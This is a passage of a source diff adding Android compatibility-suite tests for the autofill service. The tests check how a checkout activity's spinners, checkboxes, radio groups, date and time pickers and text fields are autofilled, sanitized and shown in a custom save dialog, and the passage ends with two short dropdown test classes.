+import static android.autofillservice.cts.activities.CheckoutActivity.INDEX_CC_EXPIRATION_TOMORROW;
+import static android.autofillservice.cts.testcore.Helper.assertListValue;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.testcore.Helper.assertToggleIsSanitized;
+import static android.autofillservice.cts.testcore.Helper.assertToggleValue;
+import static android.autofillservice.cts.testcore.Helper.findAutofillIdByResourceId;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.testcore.Helper.getContext;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
+import static android.view.View.AUTOFILL_TYPE_LIST;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.activities.CheckoutActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.testcore.MultipleTimesRadioGroupListener;
+import android.autofillservice.cts.testcore.MultipleTimesTimeListener;
+import android.autofillservice.cts.testcore.OneTimeCompoundButtonListener;
+import android.autofillservice.cts.testcore.OneTimeDateListener;
+import android.autofillservice.cts.testcore.OneTimeSpinnerListener;
+import android.autofillservice.cts.testcore.OneTimeTextWatcher;
+import android.icu.util.Calendar;
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.CharSequenceTransformation;
+import android.service.autofill.CustomDescription;
+import android.service.autofill.FillContext;
+import android.service.autofill.ImageTransformation;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiObject2;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillValue;
+import android.widget.ArrayAdapter;
+import android.widget.CheckBox;
+import android.widget.DatePicker;
+import android.widget.EditText;
+import android.widget.RadioGroup;
+import android.widget.RemoteViews;
+import android.widget.Spinner;
+import android.widget.TimePicker;
+
+import org.junit.Test;
+
+import java.util.Arrays;
+import java.util.regex.Pattern;
+
+/**
+ * Test case for an activity containing non-TextField views.
+ */
+public class CheckoutActivityTest
+        extends AutoFillServiceTestCase.AutoActivityLaunch<CheckoutActivity> {
+
+    private CheckoutActivity mActivity;
+
+    @Override
+    protected AutofillActivityTestRule<CheckoutActivity> getActivityRule() {
+        return new AutofillActivityTestRule<CheckoutActivity>(CheckoutActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    @Test
+    public void testAutofill() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setPresentation(createPresentation("ACME CC"))
+                .setField(ID_CC_NUMBER, "4815162342")
+                .setField(ID_CC_EXPIRATION, INDEX_CC_EXPIRATION_NEVER)
+                .setField(ID_ADDRESS, 1)
+                .setField(ID_SAVE_CC, true)
+                .build());
+        mActivity.expectAutoFill("4815162342", INDEX_CC_EXPIRATION_NEVER, R.id.work_address,
+                true);
+
+        // Trigger auto-fill.
+        mActivity.onCcNumber((v) -> v.requestFocus());
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        // Assert properties of Spinner field.
+        final ViewNode ccExpirationNode =
+                assertTextIsSanitized(fillRequest.structure, ID_CC_EXPIRATION);
+        assertThat(ccExpirationNode.getClassName()).isEqualTo(Spinner.class.getName());
+        assertThat(ccExpirationNode.getAutofillType()).isEqualTo(AUTOFILL_TYPE_LIST);
+        final CharSequence[] options = ccExpirationNode.getAutofillOptions();
+        assertWithMessage("ccExpirationNode.getAutoFillOptions()").that(options).isNotNull();
+        assertWithMessage("Wrong auto-fill options for spinner").that(options).asList()
+                .containsExactly((Object [])
+                        getContext().getResources().getStringArray(R.array.cc_expiration_values))
+                .inOrder();
+
+        // Auto-fill it.
+        mUiBot.selectDataset("ACME CC");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofill() is enough")
+    public void testAutofillDynamicAdapter() throws Exception {
+        // Set activity.
+        mActivity.onCcExpiration((v) -> v.setAdapter(new ArrayAdapter<String>(getContext(),
+                android.R.layout.simple_spinner_item,
+                Arrays.asList("YESTERDAY", "TODAY", "TOMORROW", "NEVER"))));
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setPresentation(createPresentation("ACME CC"))
+                .setField(ID_CC_NUMBER, "4815162342")
+                .setField(ID_CC_EXPIRATION, INDEX_CC_EXPIRATION_NEVER)
+                .setField(ID_ADDRESS, 1)
+                .setField(ID_SAVE_CC, true)
+                .build());
+        mActivity.expectAutoFill("4815162342", INDEX_CC_EXPIRATION_NEVER, R.id.work_address,
+                true);
+
+        // Trigger auto-fill.
+        mActivity.onCcNumber((v) -> v.requestFocus());
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        // Assert properties of Spinner field.
+        final ViewNode ccExpirationNode =
+                assertTextIsSanitized(fillRequest.structure, ID_CC_EXPIRATION);
+        assertThat(ccExpirationNode.getClassName()).isEqualTo(Spinner.class.getName());
+        assertThat(ccExpirationNode.getAutofillType()).isEqualTo(AUTOFILL_TYPE_LIST);
+        final CharSequence[] options = ccExpirationNode.getAutofillOptions();
+        assertWithMessage("ccExpirationNode.getAutoFillOptions()").that(options).isNull();
+
+        // Auto-fill it.
+        mUiBot.selectDataset("ACME CC");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    // TODO: this should be a pure unit test exercising onProvideAutofillStructure(),
+    // but that would require creating a custom ViewStructure.
+    @Test
+    @AppModeFull(reason = "Unit test")
+    public void testGetAutofillOptionsSorted() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set activity.
+        mActivity.onCcExpirationAdapter((adapter) -> adapter.sort((a, b) -> {
+            return ((String) a).compareTo((String) b);
+        }));
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setPresentation(createPresentation("ACME CC"))
+                .setField(ID_CC_NUMBER, "4815162342")
+                .setField(ID_CC_EXPIRATION, INDEX_CC_EXPIRATION_NEVER)
+                .setField(ID_ADDRESS, 1)
+                .setField(ID_SAVE_CC, true)
+                .build());
+        mActivity.expectAutoFill("4815162342", INDEX_CC_EXPIRATION_NEVER, R.id.work_address,
+                true);
+
+        // Trigger auto-fill.
+        mActivity.onCcNumber((v) -> v.requestFocus());
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        // Assert properties of Spinner field.
+        final ViewNode ccExpirationNode =
+                assertTextIsSanitized(fillRequest.structure, ID_CC_EXPIRATION);
+        assertThat(ccExpirationNode.getClassName()).isEqualTo(Spinner.class.getName());
+        assertThat(ccExpirationNode.getAutofillType()).isEqualTo(AUTOFILL_TYPE_LIST);
+        final CharSequence[] options = ccExpirationNode.getAutofillOptions();
+        assertWithMessage("Wrong auto-fill options for spinner").that(options).asList()
+                .containsExactly("never", "today", "tomorrow", "yesterday").inOrder();
+
+        // Auto-fill it.
+        mUiBot.selectDataset("ACME CC");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    public void testSanitization() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_CREDIT_CARD,
+                        ID_CC_NUMBER, ID_CC_EXPIRATION, ID_ADDRESS, ID_SAVE_CC)
+                .build());
+
+        // Dynamically change view contents
+        mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TOMORROW, true));
+        mActivity.onHomeAddress((v) -> v.setChecked(true));
+        mActivity.onSaveCc((v) -> v.setChecked(true));
+
+        // Trigger auto-fill.
+        mActivity.onCcNumber((v) -> v.requestFocus());
+
+        // Assert sanitization on fill request: everything should be sanitized!
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        assertTextIsSanitized(fillRequest.structure, ID_CC_NUMBER);
+        assertTextIsSanitized(fillRequest.structure, ID_CC_EXPIRATION);
+        assertToggleIsSanitized(fillRequest.structure, ID_HOME_ADDRESS);
+        assertToggleIsSanitized(fillRequest.structure, ID_SAVE_CC);
+
+        // Trigger save.
+        mActivity.onCcNumber((v) -> v.setText("4815162342"));
+        mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TODAY));
+        mActivity.onAddress((v) -> v.check(R.id.work_address));
+        mActivity.onSaveCc((v) -> v.setChecked(false));
+        mActivity.tapBuy();
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_CREDIT_CARD);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+        // Assert sanitization on save: everything should be available!
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_CC_NUMBER), "4815162342");
+        assertListValue(findNodeByResourceId(saveRequest.structure, ID_CC_EXPIRATION),
+                INDEX_CC_EXPIRATION_TODAY);
+        assertListValue(findNodeByResourceId(saveRequest.structure, ID_ADDRESS),
+                INDEX_ADDRESS_WORK);
+        assertToggleValue(findNodeByResourceId(saveRequest.structure, ID_HOME_ADDRESS), false);
+        assertToggleValue(findNodeByResourceId(saveRequest.structure, ID_WORK_ADDRESS), true);
+        assertToggleValue(findNodeByResourceId(saveRequest.structure, ID_SAVE_CC), false);
+    }
+
+    @Test
+    @AppModeFull(reason = "Service-specific test")
+    public void testCustomizedSaveUi() throws Exception {
+        customizedSaveUi(false);
+    }
+
+    @Test
+    @AppModeFull(reason = "Service-specific test")
+    public void testCustomizedSaveUiWithContentDescription() throws Exception {
+        customizedSaveUi(true);
+    }
+
+    /**
+     * Tests that a spinner can be used on custom save descriptions.
+     */
+    private void customizedSaveUi(boolean withContentDescription) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final String packageName = getContext().getPackageName();
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_CREDIT_CARD, ID_CC_NUMBER, ID_CC_EXPIRATION)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    final RemoteViews presentation = new RemoteViews(packageName,
+                            R.layout.two_horizontal_text_fields);
+                    final FillContext context = contexts.get(0);
+                    final AutofillId ccNumberId = findAutofillIdByResourceId(context,
+                            ID_CC_NUMBER);
+                    final AutofillId ccExpirationId = findAutofillIdByResourceId(context,
+                            ID_CC_EXPIRATION);
+                    final CharSequenceTransformation trans1 = new CharSequenceTransformation
+                            .Builder(ccNumberId, Pattern.compile("(.*)"), "$1")
+                            .build();
+                    final CharSequenceTransformation trans2 = new CharSequenceTransformation
+                            .Builder(ccExpirationId, Pattern.compile("(.*)"), "$1")
+                            .build();
+                    final ImageTransformation trans3 = (withContentDescription
+                            ? new ImageTransformation.Builder(ccNumberId,
+                                    Pattern.compile("(.*)"), R.drawable.android,
+                                    "One image is worth thousand words")
+                            : new ImageTransformation.Builder(ccNumberId,
+                                    Pattern.compile("(.*)"), R.drawable.android))
+                            .build();
+
+                    final CustomDescription customDescription =
+                            new CustomDescription.Builder(presentation)
+                            .addChild(R.id.first, trans1)
+                            .addChild(R.id.second, trans2)
+                            .addChild(R.id.img, trans3)
+                            .build();
+                    builder.setCustomDescription(customDescription);
+                })
+                .build());
+
+        // Dynamically change view contents
+        mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TOMORROW, true));
+
+        // Trigger auto-fill.
+        mActivity.onCcNumber((v) -> v.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.onCcNumber((v) -> v.setText("4815162342"));
+        mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TODAY));
+        mActivity.tapBuy();
+
+        // First make sure the UI is shown...
+        final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_CREDIT_CARD);
+
+        // Then make sure it does have the custom views on it...
+        final UiObject2 staticText = saveUi.findObject(By.res(packageName, Helper.ID_STATIC_TEXT));
+        assertThat(staticText).isNotNull();
+        assertThat(staticText.getText()).isEqualTo("YO:");
+
+        final UiObject2 number = saveUi.findObject(By.res(packageName, "first"));
+        assertThat(number).isNotNull();
+        assertThat(number.getText()).isEqualTo("4815162342");
+
+        final UiObject2 expiration = saveUi.findObject(By.res(packageName, "second"));
+        assertThat(expiration).isNotNull();
+        assertThat(expiration.getText()).isEqualTo("today");
+
+        final UiObject2 image = saveUi.findObject(By.res(packageName, "img"));
+        assertThat(image).isNotNull();
+        final String contentDescription = image.getContentDescription();
+        if (withContentDescription) {
+            assertThat(contentDescription).isEqualTo("One image is worth thousand words");
+        } else {
+            assertThat(contentDescription).isNull();
+        }
+    }
+
+    /**
+     * Tests that a custom save description is ignored when the selected spinner element is not
+     * available in the autofill options.
+     */
+    @Test
+    public void testCustomizedSaveUiWhenListResolutionFails() throws Exception {
+        // Set service.
+        enableService();
+
+        // Change spinner to return just one item so the transformation throws an exception when
+        // fetching it.
+        mActivity.getCcExpirationAdapter().setAutofillOptions("D'OH!");
+
+        // Set expectations.
+        final String packageName = getContext().getPackageName();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_CREDIT_CARD, ID_CC_NUMBER, ID_CC_EXPIRATION)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    final FillContext context = contexts.get(0);
+                    final AutofillId ccNumberId = findAutofillIdByResourceId(context,
+                            ID_CC_NUMBER);
+                    final AutofillId ccExpirationId = findAutofillIdByResourceId(context,
+                            ID_CC_EXPIRATION);
+                    final RemoteViews presentation = new RemoteViews(packageName,
+                            R.layout.two_horizontal_text_fields);
+                    final CharSequenceTransformation trans1 = new CharSequenceTransformation
+                            .Builder(ccNumberId, Pattern.compile("(.*)"), "$1")
+                            .build();
+                    final CharSequenceTransformation trans2 = new CharSequenceTransformation
+                            .Builder(ccExpirationId, Pattern.compile("(.*)"), "$1")
+                            .build();
+                    final CustomDescription customDescription =
+                            new CustomDescription.Builder(presentation)
+                            .addChild(R.id.first, trans1)
+                            .addChild(R.id.second, trans2)
+                            .build();
+                    builder.setCustomDescription(customDescription);
+                })
+                .build());
+
+        // Dynamically change view contents
+        mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TOMORROW, true));
+
+        // Trigger auto-fill.
+        mActivity.onCcNumber((v) -> v.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.onCcNumber((v) -> v.setText("4815162342"));
+        mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TODAY));
+        mActivity.tapBuy();
+
+        // First make sure the UI is shown...
+        final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_CREDIT_CARD);
+
+        // Then make sure it does not have the custom views on it...
+        assertThat(saveUi.findObject(By.res(packageName, Helper.ID_STATIC_TEXT))).isNull();
+    }
+
+    // ============================================================================================
+    // Tests to verify EditText by setting with AutofillValue.
+    // ============================================================================================
+    @Test
+    public void autofillValidTextValue() throws Exception {
+        autofillEditText(AutofillValue.forText("filled"), "filled", true);
+    }
+
+    @Test
+    public void autofillEmptyTextValue() throws Exception {
+        autofillEditText(AutofillValue.forText(""), "", true);
+    }
+
+    @Test
+    public void autofillTextWithListValue() throws Exception {
+        autofillEditText(AutofillValue.forList(0), "", false);
+    }
+
+    private void autofillEditText(AutofillValue value, String expectedText,
+            boolean expectAutoFill) throws Exception {
+        // Enable service.
+        enableService();
+
+        // Set expectations and trigger Autofill.
+        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+                .setField(ID_CC_NUMBER, value)
+                .setPresentation(createPresentation("dataset"))
+                .build());
+        mActivity.onCcNumber((v) -> v.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Autofill it and check the result.
+        EditText editText = mActivity.getCcNumber();
+        OneTimeTextWatcher textWatcher = new OneTimeTextWatcher(ID_CC_NUMBER, editText,
+                expectedText);
+        editText.addTextChangedListener(textWatcher);
+        mUiBot.selectDataset("dataset");
+
+        if (expectAutoFill) {
+            textWatcher.assertAutoFilled();
+        } else {
+            assertThat(editText.getText().toString()).isEqualTo(expectedText);
+        }
+    }
+
+    @Test
+    public void getEditTextAutoFillValue() throws Exception {
+        EditText editText = mActivity.getCcNumber();
+        mActivity.syncRunOnUiThread(() -> editText.setText("test"));
+
+        assertThat(editText.getAutofillValue()).isEqualTo(AutofillValue.forText("test"));
+
+        mActivity.syncRunOnUiThread(() -> editText.setEnabled(false));
+
+        assertThat(editText.getAutofillValue()).isNull();
+    }
+
+    // ============================================================================================
+    // Tests to verify CheckBox by setting with AutofillValue.
+    // ============================================================================================
+    @Test
+    public void autofillToggleValueWithTrue() throws Exception {
+        autofillCompoundButton(AutofillValue.forToggle(true), true, true);
+    }
+
+    @Test
+    public void autofillToggleValueWithFalse() throws Exception {
+        autofillCompoundButton(AutofillValue.forToggle(false), false, false);
+    }
+
+    @Test
+    public void autofillCompoundButtonWithTextValue() throws Exception {
+        autofillCompoundButton(AutofillValue.forText(""), false, false);
+    }
+
+    private void autofillCompoundButton(AutofillValue value, boolean expectedValue,
+            boolean expectAutoFill) throws Exception {
+        // Enable service.
+        enableService();
+
+        // Set expectations and trigger Autofill.
+        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+                .setField(ID_SAVE_CC, value)
+                .setPresentation(createPresentation("dataset"))
+                .build());
+        mActivity.onSaveCc((v) -> v.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Autofill it and check the result.
+        CheckBox compoundButton = mActivity.getSaveCc();
+        OneTimeCompoundButtonListener checkedWatcher = new OneTimeCompoundButtonListener(
+                ID_SAVE_CC, compoundButton, expectedValue);
+        compoundButton.setOnCheckedChangeListener(checkedWatcher);
+        mUiBot.selectDataset("dataset");
+
+        if (expectAutoFill) {
+            checkedWatcher.assertAutoFilled();
+        } else {
+            assertThat(compoundButton.isChecked()).isEqualTo(expectedValue);
+        }
+    }
+
+    @Test
+    public void getCompoundButtonAutoFillValue() throws Exception {
+        CheckBox compoundButton = mActivity.getSaveCc();
+        mActivity.syncRunOnUiThread(() -> compoundButton.setChecked(true));
+
+        assertThat(compoundButton.getAutofillValue()).isEqualTo(AutofillValue.forToggle(true));
+
+        mActivity.syncRunOnUiThread(() -> compoundButton.setEnabled(false));
+
+        assertThat(compoundButton.getAutofillValue()).isNull();
+    }
+
+    // ============================================================================================
+    // Tests to verify Spinner by setting with AutofillValue
+    // ============================================================================================
+    private void autofillListValue(AutofillValue value, int expectedValue,
+            boolean expectAutoFill) throws Exception {
+        // Enable service.
+        enableService();
+
+        // Set expectations and trigger Autofill.
+        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+                .setField(ID_CC_EXPIRATION, value)
+                .setPresentation(createPresentation("dataset"))
+                .build());
+        mActivity.onCcExpiration((v) -> v.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Autofill it and check the result.
+        Spinner spinner = mActivity.getCcExpiration();
+        OneTimeSpinnerListener spinnerWatcher = new OneTimeSpinnerListener(
+                ID_CC_EXPIRATION, spinner, expectedValue);
+        spinner.setOnItemSelectedListener(spinnerWatcher);
+        mUiBot.selectDatasetSync("dataset");
+
+        if (expectAutoFill) {
+            spinnerWatcher.assertAutoFilled();
+        } else {
+            assertThat(spinner.getSelectedItemPosition()).isEqualTo(expectedValue);
+        }
+    }
+
+    @Test
+    public void autofillZeroListValueToSpinner() throws Exception {
+        autofillListValue(AutofillValue.forList(0), 0, false);
+    }
+
+    @Test
+    public void autofillOneListValueToSpinner() throws Exception {
+        autofillListValue(AutofillValue.forList(1), 1, true);
+    }
+
+    @Test
+    public void autofillInvalidListValueToSpinner() throws Exception {
+        autofillListValue(AutofillValue.forList(-1), 0, false);
+    }
+
+    @Test
+    public void autofillSpinnerWithTextValue() throws Exception {
+        autofillListValue(AutofillValue.forText(""), 0, false);
+    }
+
+    @Test
+    public void getSpinnerAutoFillValue() throws Exception {
+        Spinner spinner = mActivity.getCcExpiration();
+        mActivity.syncRunOnUiThread(() -> spinner.setSelection(1));
+
+        assertThat(spinner.getAutofillValue()).isEqualTo(AutofillValue.forList(1));
+
+        mActivity.syncRunOnUiThread(() -> spinner.setEnabled(false));
+
+        assertThat(spinner.getAutofillValue()).isNull();
+    }
+
+    // ============================================================================================
+    // Tests to verify DatePicker by setting with AutofillValue
+    // ============================================================================================
+    @Test
+    public void autofillValidDateValueToDatePicker() throws Exception {
+        autofillDateValueToDatePicker(AutofillValue.forDate(getDateAsMillis(2017, 3, 7, 12, 32)),
+                true);
+    }
+
+    @Test
+    public void autofillDatePickerWithTextValue() throws Exception {
+        autofillDateValueToDatePicker(AutofillValue.forText(""), false);
+    }
+
+    private void autofillDateValueToDatePicker(AutofillValue value,
+            boolean expectAutoFill) throws Exception {
+        // Enable service.
+        enableService();
+
+        // Set expectations and trigger Autofill.
+        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+                .setField(ID_DATE_PICKER, value)
+                .setField(ID_CC_NUMBER, "filled")
+                .setPresentation(createPresentation("dataset"))
+                .build());
+        DatePicker datePicker = mActivity.getDatePicker();
+        int nonAutofilledYear = datePicker.getYear();
+        int nonAutofilledMonth = datePicker.getMonth();
+        int nonAutofilledDay = datePicker.getDayOfMonth();
+        mActivity.onCcNumber((v) -> v.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Autofill it and check the result.
+        OneTimeDateListener dateWatcher = new OneTimeDateListener(ID_DATE_PICKER, datePicker,
+                2017, 3, 7);
+        datePicker.setOnDateChangedListener(dateWatcher);
+        mUiBot.selectDataset("dataset");
+
+        if (expectAutoFill) {
+            dateWatcher.assertAutoFilled();
+        } else {
+            Helper.assertDateValue(datePicker, nonAutofilledYear, nonAutofilledMonth,
+                    nonAutofilledDay);
+        }
+    }
+
+    private long getDateAsMillis(int year, int month, int day, int hour, int minute) {
+        Calendar calendar = Calendar.getInstance(
+                mActivity.getResources().getConfiguration().getLocales().get(0));
+
+        calendar.set(year, month, day, hour, minute);
+
+        return calendar.getTimeInMillis();
+    }
+
+    @Test
+    public void getDatePickerAutoFillValue() throws Exception {
+        DatePicker datePicker = mActivity.getDatePicker();
+        mActivity.syncRunOnUiThread(() -> datePicker.updateDate(2017, 3, 7));
+
+        Helper.assertDateValue(datePicker, 2017, 3, 7);
+
+        mActivity.syncRunOnUiThread(() -> datePicker.setEnabled(false));
+
+        assertThat(datePicker.getAutofillValue()).isNull();
+    }
+
+    // ============================================================================================
+    // Tests to verify TimePicker by setting with AutofillValue
+    // ============================================================================================
+    @Test
+    public void autofillValidDateValueToTimePicker() throws Exception {
+        autofillDateValueToTimePicker(AutofillValue.forDate(getDateAsMillis(2017, 3, 7, 12, 32)),
+                true);
+    }
+
+    @Test
+    public void autofillTimePickerWithTextValue() throws Exception {
+        autofillDateValueToTimePicker(AutofillValue.forText(""), false);
+    }
+
+    private void autofillDateValueToTimePicker(AutofillValue value,
+            boolean expectAutoFill) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations and trigger Autofill.
+        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+                .setField(ID_TIME_PICKER, value)
+                .setField(ID_CC_NUMBER, "filled")
+                .setPresentation(createPresentation("dataset"))
+                .build());
+        TimePicker timePicker = mActivity.getTimePicker();
+        mActivity.syncRunOnUiThread(() -> {
+            timePicker.setIs24HourView(true);
+        });
+        int nonAutofilledHour = timePicker.getHour();
+        int nonAutofilledMinute = timePicker.getMinute();
+        mActivity.onCcNumber((v) -> v.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Autofill it and check the result.
+        MultipleTimesTimeListener timeWatcher = new MultipleTimesTimeListener(ID_TIME_PICKER, 1,
+                timePicker, 12, 32);
+        timePicker.setOnTimeChangedListener(timeWatcher);
+        mUiBot.selectDataset("dataset");
+
+        if (expectAutoFill) {
+            timeWatcher.assertAutoFilled();
+        } else {
+            Helper.assertTimeValue(timePicker, nonAutofilledHour, nonAutofilledMinute);
+        }
+    }
+
+    @Test
+    public void getTimePickerAutoFillValue() throws Exception {
+        TimePicker timePicker = mActivity.getTimePicker();
+        mActivity.syncRunOnUiThread(() -> {
+            timePicker.setHour(12);
+            timePicker.setMinute(32);
+        });
+
+        Helper.assertTimeValue(timePicker, 12, 32);
+
+        mActivity.syncRunOnUiThread(() -> timePicker.setEnabled(false));
+
+        assertThat(timePicker.getAutofillValue()).isNull();
+    }
+
+    // ============================================================================================
+    // Tests to verify RadioGroup by setting with AutofillValue
+    // ============================================================================================
+    @Test
+    public void autofillZeroListValueToRadioGroup() throws Exception {
+        autofillRadioGroup(AutofillValue.forList(0), 0, false);
+    }
+
+    @Test
+    public void autofillOneListValueToRadioGroup() throws Exception {
+        autofillRadioGroup(AutofillValue.forList(1), 1, true);
+    }
+
+    @Test
+    public void autofillInvalidListValueToRadioGroup() throws Exception {
+        autofillRadioGroup(AutofillValue.forList(-1), 0, false);
+    }
+
+    @Test
+    public void autofillRadioGroupWithTextValue() throws Exception {
+        autofillRadioGroup(AutofillValue.forText(""), 0, false);
+    }
+
+    private void autofillRadioGroup(AutofillValue value, int expectedValue,
+            boolean expectAutoFill) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations and trigger Autofill.
+        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+                .setField(ID_ADDRESS, value)
+                .setField(ID_CC_NUMBER, "filled")
+                .setPresentation(createPresentation("dataset"))
+                .build());
+        mActivity.onHomeAddress((v) -> v.setChecked(true));
+        mActivity.onCcNumber((v) -> v.requestFocus());
+        sReplier.getNextFillRequest();
+
+        RadioGroup radioGroup = mActivity.getAddress();
+        MultipleTimesRadioGroupListener radioGroupWatcher = new MultipleTimesRadioGroupListener(
+                ID_ADDRESS, 2, radioGroup, expectedValue);
+        radioGroup.setOnCheckedChangeListener(radioGroupWatcher);
+
+        // Autofill it and check the result.
+        mUiBot.selectDataset("dataset");
+
+        if (expectAutoFill) {
+            radioGroupWatcher.assertAutoFilled();
+        } else {
+            if (expectedValue == 0) {
+                mActivity.assertRadioButtonValue(/* homeAddrValue= */
+                        true, /* workAddrValue= */ false);
+            } else {
+                mActivity.assertRadioButtonValue(/* homeAddrValue= */
+                        false, /* workAddrValue= */true);
+            }
+        }
+    }
+
+    @Test
+    public void getRadioGroupAutoFillValue() throws Exception {
+        RadioGroup radioGroup = mActivity.getAddress();
+        mActivity.onWorkAddress((v) -> v.setChecked(true));
+
+        assertThat(radioGroup.getAutofillValue()).isEqualTo(AutofillValue.forList(1));
+
+        mActivity.syncRunOnUiThread(() -> radioGroup.setEnabled(false));
+
+        assertThat(radioGroup.getAutofillValue()).isNull();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/DatasetFilteringDropdownTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/DatasetFilteringDropdownTest.java
new file mode 100644
index 0000000..5553b42
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/DatasetFilteringDropdownTest.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.dropdown;
+
+import android.autofillservice.cts.commontests.DatasetFilteringTest;
+
+public class DatasetFilteringDropdownTest extends DatasetFilteringTest {
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/DatePickerCalendarActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/DatePickerCalendarActivityTest.java
new file mode 100644
index 0000000..e8801a3
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/DatePickerCalendarActivityTest.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.dropdown;
+
+import android.autofillservice.cts.activities.DatePickerCalendarActivity;
+import android.autofillservice.cts.commontests.DatePickerTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.platform.test.annotations.AppModeFull;
+
+@AppModeFull(reason = "Unit test")
+public class DatePickerCalendarActivityTest extends DatePickerTestCase<DatePickerCalendarActivity> {
+
+    @Override
+    protected AutofillActivityTestRule<DatePickerCalendarActivity> getActivityRule() {
+        return new AutofillActivityTestRule<DatePickerCalendarActivity>(
+                DatePickerCalendarActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
